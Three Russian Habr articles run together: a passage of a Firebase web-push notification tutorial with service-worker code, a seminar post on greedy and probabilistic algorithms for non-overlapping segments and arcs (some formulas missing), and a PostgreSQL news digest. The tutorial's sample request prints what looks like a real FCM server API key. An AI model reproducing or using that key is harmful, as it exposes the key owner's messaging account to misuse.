Что же это за обработчик и как он работает. Из [документации](https://firebase.google.com/docs/reference/js/firebase.messaging.Messaging#onMessage) мы знаем, что этот обработчик вызывается если мы получаем push-уведомление и находимся в этот момент на странице сайта с которого отправлено уведомление *(желающие использовать нативное решение могут посмотреть [пример реализации](https://web-push-book.gauntface.com/chapter-05/04-common-notification-patterns/#message-page-from-a-push-event))*. Эта функциональность очень полезна тем, что мы можем отобразить уведомление на странице сделав красивую модалку или еще что-то. У меня такой необходимости нет, потому я просто отображу [стандартное уведомление](https://developer.mozilla.org/en-US/docs/Web/API/notification).
```
if ('Notification' in window) {
var messaging = firebase.messaging();
messaging.onMessage(function(payload) {
console.log('Message received. ', payload);
new Notification(payload.notification.title, payload.notification);
});
// ...
}
// ...
```
Вроде все просто, но есть подводный камень. Дело все в том что на мобильных устройствах [запрещено](https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/BygptYClroM) использовать конструктор Notification. И для решения этой проблемы нужно использовать `ServiceWorkerRegistration.showNotification()` и обработчик в этом случае будет иметь виде:
```
// ...
messaging.onMessage(function(payload) {
console.log('Message received. ', payload);
// регистрируем пустой ServiceWorker каждый раз
navigator.serviceWorker.register('messaging-sw.js');
// запрашиваем права на показ уведомлений если еще не получили их
Notification.requestPermission(function(result) {
if (result === 'granted') {
navigator.serviceWorker.ready.then(function(registration) {
// теперь мы можем показать уведомление
return registration.showNotification(payload.notification.title, payload.notification);
}).catch(function(error) {
console.log('ServiceWorker registration failed', error);
});
}
});
});
// ...
```
Теперь уведомления работают и на мобильных устройствах. Казалось бы уже все, но нет. Не смотря на [заверения некоторых](http://stackoverflow.com/questions/31512504/html5-notification-not-working-in-mobile-chrome/31787926#31787926), ServiceWorker не должен быть пустым. Мы же хотим, что бы по клику пользователь переходил на нужную нам страницу. Для этого нам нужно добавить обработчик клика по уведомлению в ServiceWorker.
Сохраняем параметры уведомления для доступа свойству `click_action` в ServiceWorker-е.
```
// ...
navigator.serviceWorker.ready.then(function(registration) {
payload.notification.data = payload.notification; // параметры уведомления
registration.showNotification(payload.notification.title, payload.notification);
}).catch(function(error) {
console.log('ServiceWorker registration failed', error);
});
// ...
```
Обрабатываем клик по уведомлению в ServiceWorker-е.
```
// messaging-sw.js
self.addEventListener('notificationclick', function(event) {
const target = event.notification.data.click_action || '/';
event.notification.close();
// этот код должен проверять список открытых вкладок и переключатся на открытую
// вкладку с ссылкой если такая есть, иначе открывает новую вкладку
event.waitUntil(clients.matchAll({
type: 'window',
includeUncontrolled: true
}).then(function(clientList) {
// clientList почему-то всегда пуст!?
for (var i = 0; i < clientList.length; i++) {
var client = clientList[i];
if (client.url == target && 'focus' in client) {
return client.focus();
}
}
// Открываем новое окно
return clients.openWindow(target);
}));
});
```
TTL и дополнительный контроль над уведомлением
----------------------------------------------
Важным свойством для уведомления может является время его актуальности. Это зависит от ваших бизнес процессов. По умолчанию время жизни уведомлений 4 недели. Это очень много для уведомлений такого характера. Например, уведомление "Ваша любимая передача начинается через 15 минут" актуально в течении 15 минут. После этого сообщение уже не актуально и показываться не должно. За контроль над временем жизни отвечает свойство `time_to_live` со значением от 0 до 2419200 секунд. Подробней читать в [документации](https://firebase.google.com/docs/cloud-messaging/concept-options#ttl). Сообщение с указанным TTL будет иметь вид:
```
{
"notification": {
"title": "Ералаш",
"body": "Начало через 15 минут",
"icon": "https://eralash.ru.rsz.io/sites/all/themes/eralash_v5/logo.png?width=192&height=192",
"click_action": "http://eralash.ru/"
},
"time_to_live": 900,
"to": "YOUR-TOKEN-ID"
}
```
Сообщение вида "Ваша любимая передача начинается через 15 минут" актуально в течении 15 минут, но уже через минуту после отправки оно станет не корректным. Потому что передача начнется не через 15 минут, а уже через 14. Контролировать такие ситуации нужно на стороне клиента.
Для этого мы поменяем отправляемое с сервера сообщение:
```
{
"data": {
"title": "Ералаш",
"time": 1489006800,
"icon": "https://eralash.ru.rsz.io/sites/all/themes/eralash_v5/logo.png?width=192&height=192",
"click_action": "http://eralash.ru/"
},
"time_to_live": 900,
"to": "YOUR-TOKEN-ID"
}
```
Обратите внимание что поле `notification` поменялось на `data`. Теперь не будет вызываться обработчик по умолчанию Firebase и нам нужно самостоятельно сделать это. Добавим в конце файла `firebase-messaging-sw.js` следующие строки:
```
// регистрируем свой обработчик уведомлений
messaging.setBackgroundMessageHandler(function(payload) {
if (typeof payload.data.time != 'undefined') {
var time = new Date(payload.data.time * 1000);
var now = new Date();
if (time < now) { // истек срок годности уведомления
return null;
}
var diff = Math.round((time.getTime() - now.getTime()) / 1000);
// показываем реальное время в уведомлении
// будет сгенерировано сообщение вида: "Начало через 14 минут, в 21:00"
payload.data.body = 'Начало через ' +
Math.round(diff / 60) + ' минут, в ' + time.getHours() + ':' +
(time.getMinutes() > 9 ? time.getMinutes() : '0' + time.getMinutes())
;
}
// Сохраяем data для получения пареметров в обработчике клика
payload.data.data = payload.data;
// Показываем уведомление
return self.registration.showNotification(payload.data.title, payload.data);
});
// свой обработчик клика по уведомлению
self.addEventListener('notificationclick', function(event) {
// извлекаем адрес перехода из параметров уведомления
const target = event.notification.data.click_action || '/';
event.notification.close();
// этот код должен проверять список открытых вкладок и переключатся на открытую
// вкладку с ссылкой если такая есть, иначе открывает новую вкладку
event.waitUntil(clients.matchAll({
type: 'window',
includeUncontrolled: true
}).then(function(clientList) {
// clientList почему-то всегда пуст!?
for (var i = 0; i < clientList.length; i++) {
var client = clientList[i];
if (client.url == target && 'focus' in client) {
return client.focus();
}
}
// Открываем новое окно
return clients.openWindow(target);
}));
});
```
Вот таким незамысловатым образом мы получили полный контроль над уведомлением. Что самое интересное, пользователю мы показываем время уведомления в его часовом поясе. Это актуально для сервисов который работают по всему миру или регионах с широким разбросом часовых поясов как у матушки-России.
Заключение
----------
А теперь поговорим о грустном. Не смотря на все прелести технологии, у неё есть ряд недостатков:
1. Самая главная проблема это, как всегда, [поддержка в браузерах](http://caniuse.com/#feat=push-api). Полноценная поддержка есть в Chrome, Firefox и Opera последних версий. IE, Safari, Opera Mini, UC Browser, Dolphin и прочая братия остаются за бортом. Но зато работает в мобильных версиях браузеров Chrome, Firefox и Opera.
2. Открытый сайт и работающий Service Worker не гарантируют доставку сообщения. Хотя уведомления могут дойти и при закрытом браузере.
Библиотека Firebase скрывает в себе много тайн и её исследование могло бы дать ответы на некоторые вопросы, но это уже выходит за рамки этой статьи.
Поиграться
----------
### Проект на GitHub Pages
Так как для запуска Service Worker-а нужен HTTPS, то самым простым решением было разместить проект на [GitHub Pages](https://pages.github.com/), что я и сделал.
Проект доступен по адресу: <https://peter-gribanov.github.io/serviceworker/>
Исходники проекта: <https://github.com/peter-gribanov/serviceworker>
[](https://peter-gribanov.github.io/serviceworker/)
Проект представляет из себя полноценное приложение для отправки и получения уведомлений. Для того что бы получить уведомление надо:
* Зайти на [страницу](https://github.com/peter-gribanov/serviceworker);
* Нажать кнопку **Register**;
* Браузер запросит разрешение на показ уведомлений;
* Подтверждаем разрешение;
* На странице и в консоли браузера будет напечатан ID вашего устройства;
* Появится кнопка **Delete Token** для удаления существующего токена и повторной регистрации;
* Появится форма с параметрами уведомления которое можно отправить нажав на кнопку **Send**;
* Меняем параметры по усмотрению и получаем разные уведомления.
Можно отправить уведомление через любой инструмент для отправки HTTP запросов. *Можно использовать сURL, я предпочитаю приложение [Postman](https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop) для Chrome.*
Запрос такой же как и описанный ранее:
```
POST /fcm/send HTTP/1.1
Host: fcm.googleapis.com
Authorization: key=AAAAaGQ_q2M:APA91bGCEOduj8HM6gP24w2LEnesqM2zkL_qx2PJUSBjjeGSdJhCrDoJf_WbT7wpQZrynHlESAoZ1VHX9Nro6W_tqpJ3Aw-A292SVe_4Ho7tJQCQxSezDCoJsnqXjoaouMYIwr34vZTs
Content-Type: application/json
{
"data": {
"title": "Ералаш",
"body": "Начало в 21:00",
"icon": "https://eralash.ru.rsz.io/sites/all/themes/eralash_v5/logo.png?width=192&height=192",
"click_action": "http://eralash.ru/"
},
"to": "YOUR-TOKEN-ID"
}
```
где,
* `YOUR-TOKEN-ID` — это ID устройства который вы получили на странице [приложения](https://peter-gribanov.github.io/serviceworker/).
Вот и все. Получаем уведомление и радуемся жизни.
Ссылки
------
**Спиок ссылок по теме*** Про PUSH
+ [Wikipedia о технологии PUSH](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8F_push)
+ [Хорошие уведомления по мнению Google](https://developers.google.com/web/fundamentals/engage-and-retain/push-notifications/good-notification)
+ [Рекламная статья от PushAll](https://pushall.ru/blog/whatispushnotifications)
+ [Web Push Book](https://web-push-book.gauntface.com/)
+ [Web Push from ServiceWorker](https://serviceworke.rs/web-push.html)
+ [Поддержка в браузерах](http://caniuse.com/#feat=push-api)
* SSL
+ [HTTPS на localhost](https://www.chromium.org/blink/serviceworker/service-worker-faq)
+ [Тестирование SSL сертификата](https://www.ssllabs.com/)
+ [Let's Encrypt](https://letsencrypt.org/)
+ [Статья по настройке Let's Encrypt](https://habrahabr.ru/post/318952/)
* UI
+ [Подписка на уведомления](https://developers.google.com/web/fundamentals/engage-and-retain/push-notifications/permissions-subscriptions)
+ [Стратегия определения состояния для фложка подписки](https://developers.google.com/web/updates/2015/03/push-notifications-on-the-open-web#set_up_the_initial_state)
* JavaScript API
+ [Видео-инструкция по настройке Firebase](https://www.youtube.com/watch?v=BsCBCudx58g)
+ [Notification](https://developer.mozilla.org/en-US/docs/Web/API/notification)
+ [ServiceWorker](https://developer.mozilla.org/ru/docs/Web/API/ServiceWorker)
+ [Использование Service Worker](https://developer.mozilla.org/ru/docs/Web/API/Service_Worker_API/Using_Service_Workers)
+ [localStorage](https://developer.mozilla.org/ru/docs/Web/API/Window/localStorage)
+ [Promise](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Promise)
+ [Фокусирование на открытом окне по клику на уведомление](https://developer.mozilla.org/en-US/docs/Web/Events/notificationclick)
* Отправка уведомлений
+ [Руководство](https://firebase.google.com/docs/cloud-messaging/server)
+ [Проект из документации](https://github.com/firebase/quickstart-js/tree/master/messaging)
+ [Параметры сообщения](https://firebase.google.com/docs/cloud-messaging/http-server-ref)
+ [Список кодов ошибок](https://firebase.google.com/docs/cloud-messaging/http-server-ref#error-codes)
+ [TTL](https://firebase.google.com/docs/cloud-messaging/concept-options#ttl)
+ [Размер иконок](https://resizeappicon.com/sizes)
+ [Приложение Postman для Chrome](https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop)
* Поиграться
+ Quickstart от Firebase
- [Оригинал](https://github.com/firebase/quickstart-js/tree/master/messaging)
- [Мой форк](https://github.com/peter-gribanov/firebase-quickstart-js)
- [На GitHub Pages](https://peter-gribanov.github.io/firebase-quickstart-js/messaging/)
+ На GitHub Pages
- [Проект](https://peter-gribanov.github.io/serviceworker/)
- [Исходники](https://github.com/peter-gribanov/serviceworker)
+ На моей площадке
- [Проект](https://push.peter-gribanov.ru/)
- [Исходники](https://github.com/peter-gribanov/article-push)
Updated at 2018-06-09
---------------------
Обнаружились некоторые "особенности" в работе уведомлений.
### Дубликаты уведомлений
Ко мне несколько раз обращались с вопросом: *"Как исправить дублирующиеся уведомления?"*
Проявляется эта проблема если открыть сайт отправляющий уведомления одновременно в нескольких вкладках. В этом случае Service Worker отправляет уведомление в обе вкладки и в обоих вкладках срабатывает метод [messaging.onMessage](#messagingonmessage). Наблюдать эту проблему можно на моем [Demo проекте](https://peter-gribanov.github.io/serviceworker/).
Что бы решить эту проблему, нужно в методе `messaging.onMessage` знать, что уведомление уже показывалось в другой вкладке. В качестве единого хранилища можно использовать `localStorage`, а идентифицировать уведомления по хеш сумме уведомления или присваивать уникальный id. Только стоит помнить, что `localStorage` не резиновый и id уже показанных уведомлений нужно подчищать через некоторое время.
Могу порекомендовать для этих целей библиотеку [pamelafox/lscache](https://github.com/pamelafox/lscache).
Если у вас есть другой метод решения проблемы, напишите в комментариях.
### Картинки в уведомлениях
Сегодня ко мне обратился пользователь [CTterorist](https://habr.com/ru/users/ctterorist/), заметивший, что не отображаются [картинки (image)](https://developer.mozilla.org/en-US/docs/Web/API/Notification/image) в уведомлениях.
Немножко потестировав, мне удалось разобраться. Не смотря на то, что поле `image` отправляется в Firebase, вместе с другими параметрами уведомления, но обратно от Firebase поле `image` не приходит. Решается проблема очень просто. Можно отправлять картунку в поле `data`, а в обработчике показа уведомления вытягивать картинку из `data` и вставлять ее на место в уведомление.
То есть, если вы отправите сообщение в таком виде, то Firebase потеряет картинку.
```
{
"notification": {
"title": "Bubble Nebula",
"body": "It's found today at 21:00",
"icon": "https://peter-gribanov.github.io/serviceworker/Bubble-Nebula.jpg",
"image": "https://peter-gribanov.github.io/serviceworker/Bubble-Nebula_big.jpg",
"click_action": "https://www.nasa.gov/feature/goddard/2016/hubble-sees-a-star-inflating-a-giant-bubble"
},
"to": "YOUR-TOKEN-ID"
}
```
Но если передать картинку в `data`, то она дойдет.
```
{
"data": {
"title": "Bubble Nebula",
"body": "It's found today at 21:00",
"icon": "https://peter-gribanov.github.io/serviceworker/Bubble-Nebula.jpg",
"image": "https://peter-gribanov.github.io/serviceworker/Bubble-Nebula_big.jpg",
"click_action": "https://www.nasa.gov/feature/goddard/2016/hubble-sees-a-star-inflating-a-giant-bubble"
},
"to": "YOUR-TOKEN-ID"
}
```
Обработчики показа уведомления такие же как в примерах выше.
```
messaging.onMessage(function(payload) {
console.log('Message received. ', payload);
// регистрируем пустой ServiceWorker каждый раз
navigator.serviceWorker.register('firebase-messaging-sw.js');
// запрашиваем права на показ уведомлений если еще не получили их
Notification.requestPermission(function(result) {
if (result === 'granted') {
navigator.serviceWorker.ready.then(function(registration) {
// своя логика как в примере с TTL и т.д.
// копируем объект data
payload.data.data = JSON.parse(JSON.stringify(payload.data));
registration.showNotification(payload.data.title, payload.data);
}).catch(function(error) {
console.log('ServiceWorker registration failed', error);
});
}
});
});
```
Аналогично в Service Worker (`firebase-messaging-sw.js`)
```
messaging.setBackgroundMessageHandler(function(payload) {
console.log('Handling background message', payload);
// своя логика как в примере с TTL и т.д.
// копируем объект data
payload.data.data = JSON.parse(JSON.stringify(payload.data));
registration.showNotification(payload.data.title, payload.data);
});
``` | https://habr.com/ru/post/321924/ | null | ru | null |
# Задачи по алгоритмам
Добрый день. На первом курсе бакалавриата Академического университета читается годовой курс алгоритмов. Каждая лекция сопровождается семинаром, на котором мы разбираем алгоритмические задачи. Практические семинары проходят в небольших группах. В этом семестре я читаю лекции и веду практику у одной из групп.
Сегодня хочу поделиться с Вами двумя задачами с этих семинаров.
**Задача 1.** На прямой даны n отрезков, нужно выбрать максимальное по размеру подмножество непересекающихся.
**Задача 2.** На окружности даны n дуг (отрезков), нужно выбрать максимальное по размеру подмножество непересекающихся.
Первая задача — один из примеров на тему «жадные алгоритмы». Решение можно посмотреть внизу. Если коротко, предполагается решение сортировкой за O(sort+n). Здесь за sort я обозначаю время на сортировку массива длины n. Кстати, sort — необязательно nlogn (например, bucket sort, radix sort, входные данные из ограниченного диапазона).
Вторая задача имеет красивое вероятностное решение за O(sort+n). Не смотря на свою похожесть на первую, вторая задача в лоб жадностью не решается. Вернее лично мне неизвестно жадное решение, если кто-нибудь из читателей придумает и поделится, буду рад послушать. А чтобы проще было думать, я сразу опишу несколько неработающих идей, наиболее часто всплывающих при попытках решать эту задачу:
* *Пусть на окружности есть точка, не покрытая ни одним отрезком, тогда окружность можно разрезать в этой точке и получить задачу про прямую, которую мы уже умеем решать!*
Да. Но таких точек может не быть. Более того, каждая точка окружности может быть покрыта 2, 10, или даже Θ(n) отрезками
* *Разрезать окружность по точке, покрытой минимальным количеством отрезков!*
Не работает. Представьте себе 3 разбиения окружности на 10 отрезков. Всего 30 отрезков. В двух из этих «разбиений» отрезки слегка накладываются друг на друга. Нам нужно угадать третье из разбиений и точкой разреза выбрать конец одного из именно этих 10 отрезков.
* *Выгодно взять в ответ самый короткий отрезок!*
Нет. Даже на прямой уже не правда: (0,49) (50,100) (48,51)
* *Выгодно выкинуть из множества самый длинный отрезок, который кого-нибудь пересекает!*
Нет. Смотрите предыдущий пример.
* *А ещё...*
Есть много неработающих идей, остановим перечисление на уже озвученных.
#### **Решения задач**
**Решение задачи 1.**
У каждого отрезка i есть левый конец L[i] и правый конец R[i]. Отсортируем отрезки в порядке возрастания R[i]. В таком порядке будем перебирать отрезки. Очередной отрезок будем добавлять в ответ, если его левая граница больше максимума правых границ уже добавленных отрезков.
**Решение задачи 2.**
Предупреждаю, решение длинное и гораздо сложнее предыдущего. С другой стороны принципиально сложных идей тут нет, так что всё можно понять без начальной подготовки.
Для начала скажем, как задаются дуги на окружности. Пусть окружность — зацикленный отрезок [0..M), а дуги (отрезки) окружности задаются парами L[i]..R[i]. Если R[i] < L[i], отрезок проходит через точку M.
Основная идея решения — найти точку, в которой можно разрезать окружность. Вернее так: выбрать отрезок i, который мы точно возьмём в ответ. Как только такой отрезок i зафиксирован, окружность можно разрезать, например в точке R[i].
Представляя все объекты на окружности, решать задачу не очень удобно. Поэтому, используя приём «удвоение окружности», перейдём на прямую.
1. Если у какого-то отрезка R[i] < L[i], то сделаем R[i] += M.
2. Для любого отрезка L[i]..R[i] породим парный ему L[i]+M..R[i]+M
Теперь у нас есть 2n отрезков на прямой, а окружности с разрезом в точке x соответствует отрезок этой прямой [x..x+M), где 0 <= x < M.
**Решение задачи 2 за O(sort + n2)**. Отсортировать один раз отрезки по правому концу, затем перебрать n возможных точек разреза R[i], решая для каждой задачу за O(n), так же как **Задачу 1**.
**Решение задачи 2 за O(sort + nk)**, где k — размер множества-ответа на задачу. Оставим сортировку.
А сразу после сортировки воспользуемся методом двух указателей и за O(n) для каждого отрезка i насчитаем следующий отрезок next[i], который мы бы взяли нашей жадностью (жадность: L[next[i]] > R[i], из таких next[i] = min).
```
// Код метода двух указателей
b = 0;
for (a = 0; a < n; a++) {
while (L[b] <= R[a]) b++; // за всё время b увеличится не более 2n раз
next[a] = b;
}
```
Теперь сделаем интересное наблюдение: в зависимости от точки разреза размер полученного нами множества отличается от оптимального не более чем на 1. То есть, если мы разрезали в первой попавшейся точке и получили множество размера k, нам достаточно найти множество размера k-1, и оно точно будет оптимальным.
Решение: перебираем первый отрезок, делаем k-2 шагов вперёд с помощью ссылок next, если расстояние между самой правой и самой левой точкой меньше M, мы нашли k-1 непересекающихся дуг.
```
for (a = 0; a < n; a++) {
b = a;
for (i = 0; i < k - 2; i++) b = next[b];
if (R[b] - L[a] < M) ; // Успех, нашли k-1 отрезков! Это a, next[a], next[next[a]] ... b
}
```
**Решение за O(sort + n)**
Возьмём  раз случайную точку i = random [0..n-1]. Для каждого i за O(k) попробуем a = next[i], как в коде выше.
Поскольку, если ответ из k-1 отрезков существует, нам достаточно было попасть в какой-то один из этих k-1, то вероятность того, что за  попыток мы ни разу не попали равна  при  стремящимся к бесконечности. Заметим, что если  = Θ(1), то предыдущий алгоритм за O(nk) нас полностью устраивал. Т.е. мы получили вероятностный алгоритм, время работы которого O(sort + n). Чтобы достигнуть лучшей ошибки e-T, достаточно попробовать не , а  точек, время работы соответственно будет O(sort + Tn).
#### **Эпилог**
Не всегда на определённую тему достаточно уже готовых задач, регулярно приходится придумывать новые. Только что мы наблюдали забавный эффект: берём классическую простую задачу на сортировку, заменяем «прямую» на «окружность», получаем сложную задачу на метод двух указателей и вероятностную идею. Многие красивые учебные задачи так и придумываются. Кстати, попробуйте решить ещё две задачи:
**Задача 3.** Даны n отрезков на прямой, выбрать максимальное по размеру подмножество отрезков такое, что каждая точка покрыта не более чем k раз (мы её только что решали для k=1).
**Задача 4.** Даны n дуг (отрезков) на окружности… и та же самая задача.
#### **Ещё больше задач**
Если задачи Вам понравились, по ссылкам [осень](http://mit.spbau.ru/sewiki/index.php/Algo_2014_1) и [весна](http://mit.spbau.ru/sewiki/index.php/Algo_2014_2) можно найти ещё порядка сотни задач за осенний и весенний семестр этого года. К некоторым задачам прилагается разбор. | https://habr.com/ru/post/254093/ | null | ru | null |
# Дайджест новостей из мира PostgreSQL. Выпуск №17
*Мы продолжаем знакомить вас с самыми интересными новостями по PostgreSQL.*
### Главные новости
**Релиз-кандидат PostgreSQL 12**
В [релизе-кандидате](https://www.postgresql.org/about/news/1975/) вся функциональность идентична грядущему официальному релизу. Если вновь выявленные и недоисправленные баги будут закрыты в срок, то официальный релиз выйдет 3 октября. По сравнению с PG 12 beta 4 исправлено несколько багов, в основном связанных с [ECPG](https://postgrespro.ru/docs/postgrespro/11/ecpg) — SQL, встраиваемом в C. Релиз-кандидат [доступен](https://www.postgresql.org/download/).
* Подробно о релизе [здесь](https://www.postgresql.org/developer/beta/);
* а здесь изменения в PG [относительно](https://www.postgresql.org/docs/12/static/release-12.html) PG 11;
* нерешенные проблемы ([Open Issues](https://wiki.postgresql.org/wiki/PostgreSQL_12_Open_Items#resolved_before_12rc1)) PG 12;
* [сообщить](https://www.postgresql.org/account/submitbug/) о найденном баге.
**Очередной коммитфест завершился**
Напомним, что **сентябрьский [коммитфест](https://commitfest.postgresql.org/24/) перешел в фазу Closed.** Это значит, что новые патчи [в него](https://commitfest.postgresql.org/24/) не могут быть добавлены. Следующий, [ноябрьский коммитфест](https://commitfest.postgresql.org/25/) в фазе **Open**. Он активно заполняется.
### Релизы
**Pgpool-II 4.0.6**
Вышли также [версии](http://pgpool.net/mediawiki/index.php/Downloads) 3.7.11, 3.6.18, 3.5.22 и 3.4.25. Среди новшеств есть изменение поведения `shutdownall`: теперь он ждет завершения работы Pgpool-II. Исправлено много багов. Об изменениях можно прочитать [здесь](http://www.pgpool.net/docs/latest/en/html/release-4-0-6.html).
**dbForge Studio for PostgreSQL 2.2**
Не далее как вчера вышел [этот релиз](http://blog.devart.com/standardize-your-sql-code-with-dbforge-studio-for-postgresql-2-2.html) со встроенным SQL форматтером, Generate Script AS CREATE for Source objects, поддержкой PostgreSQL 12 и другими изменениями (см. по ссылке).
**Ajqvue 3.0**
В [новой версии](https://github.com/danap/ajqvue) этой графической среды для работы с различными СУБД переделаны библиотеки JRE в соответствии с новыми версиями Java. Теперь можно выбирать директорию для JDBC-драйверов для JAR-файлов. Все библиотеки, имеющие отношение к работе с базой, обновлены и протестированы с PostgreSQL 11. Про Ajqvue можно прочитать [здесь](http://ajqvue.com/docs/Release/readme.html).
**PGXN Client 1.3**
Это написанный на Python [клиент](https://github.com/pgxn/pgxnclient/releases/tag/v1.3) к [PostgreSQL Extension Network](https://pgxn.org/), то есть к он-лайновой библиотеке опен-сорсных расширений, где можно найти, например, citus 8.3.0 или PostgreSQL\_Anonymizer 0.3.0.
**pgAdmin 4 v 4.13**
В последней версии 46 исправленных багов и добавленных пунктов. Среди изменений:* добавлены иконки в модуле EXPLAIN для `Gather Merge, Named Tuple Store Scan` и `Table Function Scan`;
* теперь рендеринг Query Tool не ждет, когда установится соединение;
* в контейнерных дистрибутивах теперь можно установить опции конфигурации через переменные окружения.
В предыдущей версии были добавлены:
* поддержка Compound Triggers в EPAS 12+ (EDB Postgres Advanced Server версии 12 и выше);
* поддержка функций, обеспечивающих работу планировщика в PostgreSQL 12+;
* поддержка генерируемых столбцов (generated columns) в PostgreSQL 12+;
* добавлено много тестов по новой функциональности: Reverse Engineered SQL. Проверяются столбцы, триггеры, констреинты и прочее.
Подробности последней версии [здесь](https://www.pgadmin.org/docs/pgadmin4/dev/release_notes_4_13.html). Пакеты для Windows, macOS, Python Wheel, Docker Container, а также исходные коды в тарболах [уже доступны](https://www.pgadmin.org/download/).
**PostGIS 3.0.0beta1**
[Этот релиз](https://postgis.net/2019/09/28/postgis-3.0.0beta1/) уже рассчитан на работу с (или, в кулинарной лексике авторов: «лучше всего подавать с») PostgreSQL 12RC1 и GEOS 3.8.0beta1, но работает с PostgreSQL не древнее 9.5 и GEOS начиная с версии 3.6.
[Отличия](https://git.osgeo.org/gitea/postgis/postgis/raw/tag/3.0.0beta1/NEWS) от вышедшей чуть больше месяца назад beta4: ускорена, например, конверсия геометрических типов в/из GEOS. Напомним, что по сравнению с 2.x изменения серьёзные: вся растровая функциональность вынесена в отдельное расширение.
**temboard 4.0**
Вышла новая версия temboard, утилиты управления и мониторинга PostgreSQL, которую поддерживает Dalibo. Инструкции по установке [здесь](https://github.com/dalibo/temboard), а почитать можно на этой [странице](https://temboard.readthedocs.io/en/master/).
**pg\_probackup 2.1.5**
В версии pg\_probackup 2.1.5 (разработчик — Postgres Professional) появились новые возможности: теперь метаданные обновляются каждые 10 секунд в процессе бэкапа, поэтому можно следить за его выполнением. Раньше метаданные обновлялись только при старте и окончании бэкапа; SSH-соединение закрывается после передачи всех файлов данных. Документацию к последней версии [можно](https://postgrespro.github.io/pg_probackup) найти на GitHub.
**barman 2.9**
Менеджер бэкапа и восстановления barman (2ndQuadrant), [обзавёлся](https://www.pgbarman.org/barman-2-9-released/) нативной поддержкой PostgreSQL 12 и теперь конфигурировать PITR надо по-другому (некоторые подробности [здесь](https://www.pgbarman.org/barman-2-9-released/#release-notes)). А вывод можно теперь получить в форме JSON для удобной интеграции со специализированными средствами мониторинга.
**pg\_dumpbinary 1.0**
Вышел первый официальный релиз этой [программы](https://github.com/darold/pg_dumpbinary) Жиля Дароля (Gilles Darold). Она использует команду SQL COPY для дампа в двоичном формате. Восстановление происходит с прилагающейся утилитой `pg_restorebinary`. `pg_dumpbinary` полезна, когда:
* есть bytea, которого не сможет экспортировать `pg_dump`, так как общий объем в представлении escape/hex превысит 1ГБ;
* у вас есть пользовательский тип, который содержит `\0` внутри bytea, но данные возвращаются как char/varchar/text, а это значит, что данные обрежут после '\0'. `pg_dump` не справится с этой ситуацией.
**Slony 2.2.8**
Старейший инструмент репликации (работает на триггерах) [теперь поддерживает](http://www.slony.info/) PostgreSQL 12. `slonik` конфигурируется не совсем как раньше, о чем можно прочитать [в файле документации](http://main.slony.info/downloads/2.2/source/slony1-2.2.8-docs.tar.bz2). Исправлены ошибки. Скачивать слонов можно [отсюда](http://www.slony.info/downloads/2.2/source/slony1-2.2.8.tar.bz2).
**PgBouncer 1.11.0**
Главная новость — поддержка SCRAM-аутентификации. Также этот пулер соединений научился работать с GSSENCRequest, появившимся в PostgreSQL 12. Подробнее в [чейнджлоге](https://pgbouncer.github.io/changelog.html#pgbouncer-111x). Ссылка для скачивания [здесь](https://pgbouncer.github.io/2019/08/pgbouncer-1-11-0).
**pg\_partman 4.2.0**
В этой [версии](https://github.com/pgpartman/pg_partman) появилась (предварительная) поддержка PostgreSQL 12. Теперь pg\_partman по-другому работает с нелоггируемыми секциями (партициями). Если секция создана как нативная и у нее статус UNLOGGED, то этот статус [не меняется](https://www.postgresql.org/message-id/flat/15954-b61523bed4b110c4%40postgresql.org) в соответствии с изменением статуса родительской таблицы, как было раньше. Еще разработчиком (то есть Crunchy Data) [объявлено](https://www.postgresql.org/about/news/1964/), что, как только выйдет официальная версия PG12, поддержка PostgreSQL 9.4 будет прекращена. Чейнджлог [здесь](https://github.com/pgpartman/pg_partman/blob/master/CHANGELOG.txt), скачать можно [отсюда](https://github.com/pgpartman/pg_partman#installation).
**pgBadger 11.1**
Эта [версия](https://github.com/darold/pgbadger/blob/master/ChangeLog) популярного анализатора логов Жиля Дароля считается минорной, но кроме исправлений багов, накопившихся за 3 месяца, [в ней](https://github.com/darold/pgbadger/releases/) есть и новое:
* можно получить отчет о том, сколько запросы проводят времени в фазах prepare/bind/execute. Можно попросить назвать N запросов, которые больше всех тратят время в одной из этих фаз;
* добавлена поддержка форматов логов у RDS и CloudWatch (их формат определяется автоматически);
* опция `--month-report` включает режим ежемесячных инкрементальных отчетов.
**pgCluu 3.0**
На острове Бали, где проходила конференция PGConf.Asia (о чем ниже), была представлена 3-я версия pgCluu — утилиты, написанной на Perl, расшифровывающейся как PostgreSQL Cluster Utilization и претендующей на полный аудит PG-кластера. В [этой версии](https://github.com/darold/pgcluu) отчеты по заданным промежуткам времени теперь можно получать в режиме CGI (фича проходит бета-тестирование), а в пакетах Debian этот режим установлен уже по умолчанию. Другая новость — инкрементальный режим отчетов. Есть новое в конфигурировании и в опциях. Автор всё тот же — [опять Жиль Дароль](http://www.darold.net/).
**cryptokey**
Брюс Момжан (Bruce Momjian) [пишет](https://momjian.us/main/blogs/pgblog/2019.html#August_31_2019) в своем блоге о том, что 9 месяцев назад начал разрабатывать расширение, которое будет контролировать работу криптографического расширения **pgcrypto** в Postgres. И вот инструмент, который он назвал pgcryptokey, готов к бета-тестированию. В нем двухуровневое шифрование: для использования криптоключей нужен пароль. Ключей может быть несколько, их можно ротировать и уничтожать. Пароль передается от клиента на сервер без появления в текстовом виде внутри SQL-запросов.
**ldap2pg 5.0**
Новая версия утилиты, для синхронизации ролей и привилегий PG и LDAP-совместимых каталогов. Для конфигурирования используется файл в формате YAML. Относительно версии 4.0: появилась поддержка PG 9.3, 9.4, улучшилась совместимость с Active Directory и RDS, появился официальный имидж-файл для Docker. Об изменениях есть в [чейнджлоге](https://dali.bo/ldap2pg_changelog_5_0).
### Облака
Postgre Pro Enterprise появилась в облаках [Яндекс](https://cloud.yandex.ru/marketplace/products/f2e0bp8j5ot2hgqcnf4f) и [Azure](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/postgres-pro.postgres-pro-enterprise-11?tab=Overview). В обоих случаях предлагаются версии 11.x.x. В каталоге Яндекс-облака всего две СУБД. В Ажуре Postgres Pro Enterprise 11 среди многих и многих.
### Статьи
**PostgreSQL 12: A Few Special-Case Performance Enhancements**
